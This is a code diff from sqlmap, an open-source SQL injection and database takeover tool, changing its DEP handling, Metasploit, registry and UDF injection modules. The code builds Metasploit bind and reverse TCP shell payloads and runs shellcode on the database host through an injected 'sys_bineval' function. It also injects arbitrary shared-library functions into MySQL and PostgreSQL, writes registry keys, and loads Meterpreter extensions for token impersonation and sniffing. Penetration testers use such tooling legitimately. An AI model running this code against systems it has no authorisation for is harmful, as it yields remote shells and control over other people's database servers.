|
||||
depEnabledOS = {
|
||||
"2003": ( 1, 2 ),
|
||||
"2008": ( 0, 1 ),
|
||||
"XP": ( 2, 3 ),
|
||||
"Vista": ( 0, 1 ),
|
||||
}
|
||||
|
||||
for version, sps in depEnabledOS.items():
|
||||
if kb.osVersion == version and kb.osSP in sps:
|
||||
self.__supportDEP = True
|
||||
break
|
||||
|
||||
|
||||
def handleDep(self, exe):
|
||||
logger.info("handling DEP")
|
||||
|
||||
self.__systemHasDepSupport()
|
||||
|
||||
if self.__supportDEP == True:
|
||||
infoMsg = "the back-end DBMS underlying operating system "
|
||||
infoMsg += "supports DEP: going to handle it"
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif not kb.osVersion or not kb.osSP:
|
||||
warnMsg = "unable to fingerprint the back-end DBMS "
|
||||
warnMsg += "underlying operating system version and service "
|
||||
warnMsg += "pack: going to threat as if DEP is enabled"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.bypassDEP = True
|
||||
|
||||
else:
|
||||
infoMsg = "the back-end DBMS underlying operating system "
|
||||
infoMsg += "does not support DEP: no need to handle it"
|
||||
logger.info(infoMsg)
|
||||
|
||||
return
|
||||
|
||||
logger.info("checking DEP system policy")
|
||||
|
||||
self.__initVars(exe)
|
||||
|
||||
if not kb.dep:
|
||||
kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper()
|
||||
setDEP()
|
||||
|
||||
self.__analyzeDEP()
|
|
@ -24,7 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||
|
||||
|
||||
|
||||
import binascii
|
||||
import os
|
||||
import re
|
||||
import stat
|
||||
|
@ -67,6 +66,7 @@ class Metasploit:
|
|||
self.portStr = None
|
||||
self.payloadStr = None
|
||||
self.encoderStr = None
|
||||
self.payloadConnStr = None
|
||||
|
||||
self.resourceFile = None
|
||||
|
||||
|
@ -93,14 +93,13 @@ class Metasploit:
|
|||
|
||||
self.__msfConnectionsList = {
|
||||
"windows": {
|
||||
1: ( "Bind TCP (default)", "bind_tcp" ),
|
||||
2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ),
|
||||
3: ( "Reverse TCP", "reverse_tcp" ),
|
||||
4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ),
|
||||
1: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
||||
2: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||
3: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
|
||||
},
|
||||
"linux": {
|
||||
1: ( "Bind TCP (default)", "bind_tcp" ),
|
||||
2: ( "Reverse TCP", "reverse_tcp" ),
|
||||
1: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
||||
2: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -130,8 +129,8 @@ class Metasploit:
|
|||
}
|
||||
|
||||
self.__portData = {
|
||||
"bind": "remote port numer",
|
||||
"reverse": "local port numer",
|
||||
"bind": "remote port number",
|
||||
"reverse": "local port number",
|
||||
}
|
||||
|
||||
|
||||
|
@ -186,7 +185,10 @@ class Metasploit:
|
|||
|
||||
|
||||
def __selectEncoder(self, encode=True):
|
||||
if kb.os == "Windows" and encode == True:
|
||||
if isinstance(encode, str):
|
||||
return encode
|
||||
|
||||
elif kb.os == "Windows" and encode is True:
|
||||
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
|
||||
|
||||
|
||||
|
@ -330,10 +332,14 @@ class Metasploit:
|
|||
self.payloadStr = self.__selectPayload(askChurrasco)
|
||||
self.encoderStr = self.__selectEncoder(encode)
|
||||
|
||||
if self.payloadStr == "linux/x86/shell":
|
||||
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
|
||||
else:
|
||||
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||
|
||||
|
||||
def __forgeMsfCliCmd(self, exitfunc="process"):
|
||||
self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli
|
||||
self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
||||
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
||||
self.__cliCmd += " LPORT=%s" % self.portStr
|
||||
|
||||
|
@ -364,7 +370,7 @@ class Metasploit:
|
|||
self.__resource = "use windows/smb/smb_relay\n"
|
||||
self.__resource += "set SRVHOST %s\n" % self.lhostStr
|
||||
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
||||
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
|
||||
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
|
||||
self.__resource += "set LPORT %s\n" % self.portStr
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
|
@ -384,8 +390,7 @@ class Metasploit:
|
|||
|
||||
|
||||
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
||||
self.__payloadCmd = self.__msfPayload
|
||||
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
|
||||
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
||||
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||
self.__payloadCmd += " LPORT=%s" % self.portStr
|
||||
|
||||
|
@ -395,19 +400,11 @@ class Metasploit:
|
|||
elif not self.connectionStr.startswith("bind"):
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
if kb.os == "Windows":
|
||||
if kb.os == "Windows" or extra == "BufferRegister=EAX":
|
||||
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
|
||||
|
||||
if extra is not None:
|
||||
self.__payloadCmd += " %s" % extra
|
||||
|
||||
# NOTE: payload stager for Linux can only be encoded if the
|
||||
# Metasploit working copy has been updated after May 11, 2009
|
||||
# (http://trac.metasploit.com/changeset/6543)
|
||||
#
|
||||
# TODO: remember to update this code as soon as Metasploit
|
||||
# Framework 3.3 is out officially and update the user's manual to
|
||||
# notify that sqlmap depends upon Metasploit Framework 3.3
|
||||
else:
|
||||
self.__payloadCmd += " X > %s" % outFile
|
||||
|
||||
|
@ -431,6 +428,14 @@ class Metasploit:
|
|||
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||
|
||||
|
||||
def __runMsfShellcodeRemote(self):
|
||||
infoMsg = "running Metasploit Framework 3 shellcode "
|
||||
infoMsg += "remotely via UDF 'sys_bineval', wait.."
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
|
||||
|
||||
|
||||
def __runMsfPayloadRemote(self):
|
||||
infoMsg = "running Metasploit Framework 3 payload stager "
|
||||
infoMsg += "remotely, wait.."
|
||||
|
@ -447,11 +452,6 @@ class Metasploit:
|
|||
if kb.dbms == "Microsoft SQL Server":
|
||||
cmd = self.xpCmdshellForgeCmd(cmd)
|
||||
|
||||
# NOTE: calling the Metasploit payload from a system() function in
|
||||
# C on Windows (check on Linux the behaviour) for some reason
|
||||
# hangs it and the HTTP response goes into timeout, this does not
|
||||
# happen when running the it from Windows cmd.
|
||||
# Investigate and fix if possible
|
||||
self.execCmd(cmd, silent=True)
|
||||
|
||||
|
||||
|
@ -459,23 +459,25 @@ class Metasploit:
|
|||
if kb.os != "Windows":
|
||||
return
|
||||
|
||||
if self.resourceFile != None:
|
||||
if self.resourceFile is not None:
|
||||
proc.stdin.write("sessions -l\n")
|
||||
proc.stdin.write("sessions -i %s\n" % metSess)
|
||||
|
||||
proc.stdin.write("getuid\n")
|
||||
|
||||
proc.stdin.write("use espia\n")
|
||||
proc.stdin.write("use incognito\n")
|
||||
proc.stdin.write("use priv\n")
|
||||
proc.stdin.write("use sniffer\n")
|
||||
|
||||
if conf.privEsc == True:
|
||||
print
|
||||
|
||||
infoMsg = "loading Meterpreter 'incognito' extension and "
|
||||
infoMsg += "displaying the list of Access Tokens availables. "
|
||||
infoMsg = "displaying the list of Access Tokens availables. "
|
||||
infoMsg += "Choose which user you want to impersonate by "
|
||||
infoMsg += "using incognito's command 'impersonate_token'"
|
||||
logger.info(infoMsg)
|
||||
|
||||
proc.stdin.write("use incognito\n")
|
||||
proc.stdin.write("getuid\n")
|
||||
proc.stdin.write("list_tokens -u\n")
|
||||
|
||||
|
||||
|
@ -520,6 +522,12 @@ class Metasploit:
|
|||
if pwnBofCond or smbRelayCond:
|
||||
func()
|
||||
|
||||
if "Starting the payload handler" in out and "shell" in self.payloadStr:
|
||||
if kb.os == "Windows":
|
||||
proc.stdin.write("whoami\n")
|
||||
else:
|
||||
proc.stdin.write("uname -a ; id\n")
|
||||
|
||||
metSess = re.search("Meterpreter session ([\d]+) opened", out)
|
||||
|
||||
if metSess:
|
||||
|
@ -531,18 +539,16 @@ class Metasploit:
|
|||
return returncode
|
||||
|
||||
|
||||
def createMsfShellcode(self):
|
||||
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
||||
infoMsg += "for the exploit"
|
||||
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
||||
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
||||
self.shellcodeChar = ""
|
||||
|
||||
self.__initVars()
|
||||
self.__prepareIngredients(askChurrasco=False)
|
||||
self.__forgeMsfPayloadCmd("seh", "raw", self.__shellcodeFilePath, "-b \"\\x00\\x27\"")
|
||||
self.__prepareIngredients(encode=encode, askChurrasco=False)
|
||||
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||
|
@ -551,31 +557,29 @@ class Metasploit:
|
|||
pollProcess(process)
|
||||
payloadStderr = process.communicate()[1]
|
||||
|
||||
if kb.os == "Windows":
|
||||
if kb.os == "Windows" or extra == "BufferRegister=EAX":
|
||||
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
||||
else:
|
||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||
|
||||
if payloadSize:
|
||||
payloadSize = payloadSize.group(1)
|
||||
payloadSize = int(payloadSize.group(1))
|
||||
|
||||
debugMsg = "the shellcode size is %s bytes" % payloadSize
|
||||
if extra == "BufferRegister=EAX":
|
||||
payloadSize = payloadSize / 2
|
||||
|
||||
debugMsg = "the shellcode size is %d bytes" % payloadSize
|
||||
logger.debug(debugMsg)
|
||||
else:
|
||||
errMsg = "failed to create the shellcode (%s)" % payloadStderr
|
||||
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
|
||||
self.__shellcodeString = self.__shellcodeFP.read()
|
||||
self.shellcodeString = self.__shellcodeFP.read()
|
||||
self.__shellcodeFP.close()
|
||||
|
||||
os.unlink(self.__shellcodeFilePath)
|
||||
|
||||
hexStr = binascii.hexlify(self.__shellcodeString)
|
||||
|
||||
for hexPair in range(0, len(hexStr), 2):
|
||||
self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
||||
|
||||
|
||||
def createMsfPayloadStager(self, initialize=True):
|
||||
if initialize == True:
|
||||
|
@ -647,14 +651,21 @@ class Metasploit:
|
|||
os.unlink(self.exeFilePathLocal)
|
||||
|
||||
|
||||
def pwn(self):
|
||||
self.__runMsfCli(exitfunc="process")
|
||||
def pwn(self, goUdf=False):
|
||||
if goUdf is True:
|
||||
exitfunc = "thread"
|
||||
func = self.__runMsfShellcodeRemote
|
||||
else:
|
||||
exitfunc = "process"
|
||||
func = self.__runMsfPayloadRemote
|
||||
|
||||
self.__runMsfCli(exitfunc=exitfunc)
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self.__runMsfPayloadRemote()
|
||||
func()
|
||||
|
||||
debugMsg = "Metasploit Framework 3 command line interface exited "
|
||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote)
|
||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
|
|
|
@ -37,20 +37,20 @@ class Registry:
|
|||
This class defines methods to read and write Windows registry keys
|
||||
"""
|
||||
|
||||
def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False):
|
||||
def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
|
||||
self.__regKey = regKey
|
||||
self.__regName = regName
|
||||
self.__regType = regType
|
||||
self.__regValue = regValue
|
||||
self.__regType = regType
|
||||
self.__regData = regData
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
|
||||
self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr)
|
||||
|
||||
if parse == True:
|
||||
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||
else:
|
||||
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\""
|
||||
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
|
||||
|
||||
self.__batRead = (
|
||||
"@ECHO OFF\r\n",
|
||||
|
@ -59,24 +59,15 @@ class Registry:
|
|||
|
||||
self.__batAdd = (
|
||||
"@ECHO OFF\r\n",
|
||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue)
|
||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
|
||||
)
|
||||
|
||||
self.__batDel = (
|
||||
"@ECHO OFF\r\n",
|
||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName)
|
||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
|
||||
)
|
||||
|
||||
|
||||
def __execBatPathRemote(self):
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
cmd = self.xpCmdshellForgeCmd(self.__batPathRemote)
|
||||
else:
|
||||
cmd = self.__batPathRemote
|
||||
|
||||
self.execCmd(cmd)
|
||||
|
||||
|
||||
def __createLocalBatchFile(self):
|
||||
self.__batPathFp = open(self.__batPathLocal, "w")
|
||||
|
||||
|
@ -102,38 +93,49 @@ class Registry:
|
|||
os.unlink(self.__batPathLocal)
|
||||
|
||||
|
||||
def readRegKey(self, regKey, regName, parse):
|
||||
def readRegKey(self, regKey, regValue, parse=False):
|
||||
self.__operation = "read"
|
||||
|
||||
self.__initVars(regKey, regName, parse=parse)
|
||||
self.__initVars(regKey, regValue, parse=parse)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
logger.debug("reading registry key '%s' name '%s'" % (regKey, regName))
|
||||
logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
|
||||
|
||||
return self.evalCmd(self.__batPathRemote)
|
||||
if not parse:
|
||||
first = len(regKey) + 6
|
||||
else:
|
||||
first = None
|
||||
|
||||
data = self.evalCmd(self.__batPathRemote, first)
|
||||
|
||||
self.delRemoteTempFile(self.__batPathRemote, bat=True)
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def addRegKey(self, regKey, regName, regType, regValue):
|
||||
def addRegKey(self, regKey, regValue, regType, regData):
|
||||
self.__operation = "add"
|
||||
|
||||
self.__initVars(regKey, regName, regType, regValue)
|
||||
self.__initVars(regKey, regValue, regType, regData)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
debugMsg = "adding registry key name '%s' " % self.__regName
|
||||
debugMsg = "adding registry key value '%s' " % self.__regValue
|
||||
debugMsg += "to registry key '%s'" % self.__regKey
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.__execBatPathRemote()
|
||||
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||
self.delRemoteTempFile(self.__batPathRemote, bat=True)
|
||||
|
||||
|
||||
def delRegKey(self, regKey, regName):
|
||||
def delRegKey(self, regKey, regValue):
|
||||
self.__operation = "delete"
|
||||
|
||||
self.__initVars(regKey, regName)
|
||||
self.__initVars(regKey, regValue)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
debugMsg = "deleting registry key name '%s' " % self.__regName
|
||||
debugMsg = "deleting registry key value '%s' " % self.__regValue
|
||||
debugMsg += "from registry key '%s'" % self.__regKey
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.__execBatPathRemote()
|
||||
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||
self.delRemoteTempFile(self.__batPathRemote, bat=True)
|
||||
|
|
|
@ -24,9 +24,21 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||
|
||||
|
||||
|
||||
import os
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.request import inject
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class UDF:
|
||||
|
@ -37,20 +49,71 @@ class UDF:
|
|||
|
||||
def __init__(self):
|
||||
self.createdUdf = set()
|
||||
self.udfs = {}
|
||||
self.udfToCreate = set()
|
||||
|
||||
|
||||
def udfExecCmd(self, cmd, silent=False):
|
||||
def __askOverwriteUdf(self, udf):
|
||||
message = "UDF '%s' already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output[0] in ("y", "Y"):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def __checkExistUdf(self, udf):
|
||||
logger.info("checking if UDF '%s' already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def udfCheckAndOverwrite(self, udf):
|
||||
exists = self.__checkExistUdf(udf)
|
||||
overwrite = True
|
||||
|
||||
if exists is True:
|
||||
overwrite = self.__askOverwriteUdf(udf)
|
||||
|
||||
if overwrite is True:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
|
||||
def udfCreateSupportTbl(self, dataType):
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
|
||||
|
||||
|
||||
def udfExecCmd(self, cmd, silent=False, udfName=None):
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
inject.goStacked("SELECT sys_exec('%s')" % cmd, silent)
|
||||
if udfName is None:
|
||||
cmd = "'%s'" % cmd
|
||||
udfName = "sys_exec"
|
||||
|
||||
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
|
||||
|
||||
|
||||
def udfEvalCmd(self, cmd):
|
||||
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd))
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
|
||||
if udfName is None:
|
||||
cmd = "'%s'" % cmd
|
||||
udfName = "sys_eval"
|
||||
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
|
||||
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||
|
||||
if isinstance(output, (list, tuple)):
|
||||
|
@ -62,6 +125,258 @@ class UDF:
|
|||
return output
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
errMsg = "udfInit() method must be defined within the plugin"
|
||||
def udfCreateFromSharedLib(self):
|
||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def udfSetRemotePath(self):
|
||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def udfInjectCmd(self):
|
||||
errMsg = "udfInjectCmd() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def udfInjectCore(self, udfDict):
|
||||
for udf in udfDict.keys():
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
self.udfCheckAndOverwrite(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
self.udfSetRemotePath()
|
||||
self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", False)
|
||||
|
||||
for udf, inpRet in udfDict.items():
|
||||
if udf in self.udfToCreate and udf not in self.createdUdf:
|
||||
self.udfCreateFromSharedLib(udf, inpRet)
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
supportTblType = "longtext"
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
supportTblType = "text"
|
||||
|
||||
self.udfCreateSupportTbl(supportTblType)
|
||||
|
||||
|
||||
def udfInjectCustom(self):
|
||||
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
|
||||
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
return
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if self.isDba() == False:
|
||||
warnMsg = "the functionality requested might not work because "
|
||||
warnMsg += "the session user is not a database administrator"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not conf.shLib:
|
||||
msg = "which is the local path of the shared library? "
|
||||
|
||||
while True:
|
||||
self.udfLocalFile = readInput(msg)
|
||||
|
||||
if self.udfLocalFile:
|
||||
break
|
||||
else:
|
||||
logger.warn("you need to specify the local path of the shared library")
|
||||
else:
|
||||
self.udfLocalFile = conf.shLib
|
||||
|
||||
if not os.path.exists(self.udfLocalFile):
|
||||
errMsg = "the specified shared library file does not exist"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
|
||||
errMsg = "shared library file must end with '.dll' or '.so'"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
|
||||
errMsg = "you provided a shared object as shared library, but "
|
||||
errMsg += "the database underlying operating system is Windows"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
|
||||
errMsg = "you provided a dynamic-link library as shared library, "
|
||||
errMsg += "but the database underlying operating system is Linux"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
|
||||
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
|
||||
|
||||
msg = "how many user-defined functions do you want to create "
|
||||
msg += "from the shared library? "
|
||||
|
||||
while True:
|
||||
udfCount = readInput(msg, default=1)
|
||||
|
||||
if isinstance(udfCount, str) and udfCount.isdigit():
|
||||
udfCount = int(udfCount)
|
||||
|
||||
if udfCount <= 0:
|
||||
logger.info("nothing to inject then")
|
||||
return
|
||||
else:
|
||||
break
|
||||
|
||||
elif isinstance(udfCount, int):
|
||||
break
|
||||
|
||||
else:
|
||||
logger.warn("invalid value, only digits are allowed")
|
||||
|
||||
for x in range(0, udfCount):
|
||||
while True:
|
||||
msg = "what is the name of the UDF number %d? " % (x + 1)
|
||||
udfName = readInput(msg)
|
||||
|
||||
if udfName:
|
||||
self.udfs[udfName] = {}
|
||||
break
|
||||
else:
|
||||
logger.warn("you need to specify the name of the UDF")
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
defaultType = "string"
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
defaultType = "text"
|
||||
|
||||
self.udfs[udfName]["input"] = []
|
||||
|
||||
default = 1
|
||||
msg = "how many input parameters takes UDF "
|
||||
msg += "'%s'? (default: %d) " % (udfName, default)
|
||||
|
||||
while True:
|
||||
parCount = readInput(msg, default=default)
|
||||
|
||||
if isinstance(parCount, str) and parCount.isdigit() and int(parCount) >= 0:
|
||||
parCount = int(parCount)
|
||||
break
|
||||
|
||||
elif isinstance(parCount, int):
|
||||
break
|
||||
|
||||
else:
|
||||
logger.warn("invalid value, only digits >= 0 are allowed")
|
||||
|
||||
for y in range(0, parCount):
|
||||
msg = "what is the data-type of input parameter "
|
||||
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
|
||||
|
||||
while True:
|
||||
parType = readInput(msg, default=defaultType)
|
||||
|
||||
if isinstance(parType, str) and parType.isdigit():
|
||||
logger.warn("you need to specify the data-type of the parameter")
|
||||
|
||||
else:
|
||||
self.udfs[udfName]["input"].append(parType)
|
||||
break
|
||||
|
||||
msg = "what is the data-type of the return "
|
||||
msg += "value? (default: %s) " % defaultType
|
||||
|
||||
while True:
|
||||
retType = readInput(msg, default=defaultType)
|
||||
|
||||
if isinstance(retType, str) and retType.isdigit():
|
||||
logger.warn("you need to specify the data-type of the return value")
|
||||
|
||||
else:
|
||||
self.udfs[udfName]["return"] = retType
|
||||
break
|
||||
|
||||
self.udfInjectCore(self.udfs)
|
||||
|
||||
msg = "do you want to call your injected user-defined "
|
||||
msg += "functions now? [Y/n/q] "
|
||||
choice = readInput(msg, default="Y")
|
||||
|
||||
if choice[0] not in ( "y", "Y" ):
|
||||
self.cleanup(udfDict=self.udfs)
|
||||
return
|
||||
|
||||
while True:
|
||||
udfList = []
|
||||
msg = "which UDF do you want to call?"
|
||||
|
||||
for udf, inpRet in self.udfs.items():
|
||||
udfList.append(udf)
|
||||
msg += "\n[%d] %s" % (len(udfList), udf)
|
||||
|
||||
msg += "\n[q] Quit"
|
||||
|
||||
while True:
|
||||
choice = readInput(msg)
|
||||
|
||||
if choice[0] in ( "q", "Q" ):
|
||||
break
|
||||
|
||||
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
|
||||
choice = int(choice)
|
||||
break
|
||||
|
||||
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
|
||||
break
|
||||
|
||||
else:
|
||||
warnMsg = "invalid value, only digits >= 1 and "
|
||||
warnMsg += "<= %d are allowed" % len(udfList)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
cmd = ""
|
||||
count = 1
|
||||
udfToCall = udfList[choice - 1]
|
||||
|
||||
for inp in self.udfs[udfToCall]["input"]:
|
||||
msg = "what is the value of the parameter number "
|
||||
msg += "%d (data-type: %s)? " % (count, inp)
|
||||
|
||||
while True:
|
||||
parValue = readInput(msg)
|
||||
|
||||
if parValue:
|
||||
if "int" not in inp and "bool" not in inp:
|
||||
parValue = "'%s'" % parValue
|
||||
|
||||
cmd += "%s," % parValue
|
||||
|
||||
break
|
||||
else:
|
||||
logger.warn("you need to specify the value of the parameter")
|
||||
|
||||
count += 1
|
||||
|
||||
cmd = cmd[:-1]
|
||||
msg = "do you want to retrieve the return value of the "
|
||||
msg += "UDF? [Y/n] "
|
||||
choice = readInput(msg, default="Y")
|
||||
|
||||
if choice[0] in ("y", "Y"):
|
||||
output = self.udfEvalCmd(cmd, udfName=udfToCall)
|
||||
|
||||
if output:
|
||||
dumper.string("return value", output)
|
||||
else:
|
||||
print "No return value"
|
||||
else:
|
||||
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
|
||||
|
||||
msg = "do you want to call this or another injected UDF? [Y/n] "
|
||||
choice = readInput(msg, default="Y")
|
||||
|
||||
if choice[0] not in ("y", "Y"):
|
||||
break
|
||||
|
||||
self.cleanup(udfDict=self.udfs)
|
||||
|
|
|
@ -134,20 +134,20 @@ class xp_cmdshell:
|
|||
inject.goStacked(cmd, silent)
|
||||
|
||||
|
||||
def xpCmdshellEvalCmd(self, cmd):
|
||||
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
|
||||
self.getRemoteTempPath()
|
||||
|
||||
